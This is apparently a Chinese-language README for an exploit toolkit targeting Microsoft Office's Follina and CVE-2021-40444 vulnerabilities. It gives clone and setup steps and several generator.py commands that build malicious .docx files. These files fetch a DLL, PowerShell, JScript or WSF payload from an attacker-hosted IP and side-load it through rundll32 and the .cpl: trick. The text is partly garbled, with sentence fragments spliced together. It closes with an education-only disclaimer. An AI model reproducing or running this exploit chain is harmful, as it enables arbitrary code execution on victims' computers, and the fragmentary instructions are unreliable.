本仓库包含用于利用 Microsoft Office 中 Follina CVE 和 CVE-2021-40444 漏洞的脚本和资源。这些脚本会生成能够在目标系统上执行任意代码的恶意文档文件。
requirements.txt 中)Flare VM 设置:
labpasswordPython 与虚拟环境:
git clone https://github.com/basim-ahmad/Follina-CVE-and-CVE-2021-40444.git
cd CVE-2021-40444
virtualenv 包:
pip install virtualenv
venv 的虚拟环境:
python -m virtualenv venv
venv\Scripts\activate.bat
pip install -r requirements.txt
生成攻击载荷:
python generator.py -u http://192.168.197.132 -P test\calc.dll --host
192.168.197.132 替换为你的 IP 地址。访问生成的文档:
.docx 文件位于以下目录:
C:\Users\Lab\Desktop\project\CVE-2021-40444\out\document.docx
.docx)。document.xml.rels 中的恶意 HTML 的关系。.cpl: 指令作为前缀。%TEMP%Low 目录中。.cpl: 指令打开 INF 文件,导致 rundll32 侧加载该 INF 文件。generator.pycab_parser.pyrequirements.txt 安装 Python 包。python generator.py -u http://127.0.0.1 -P test\calc.dll --host
python generator.py -u http://127.0.0.1 -P test\calc.ps1 --no-cab --host --convert
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
本项目仅供教育目的使用。请负责任地使用,不要在没有授权的情况下利用漏洞攻击系统。滥用此信息可能导致刑事指控。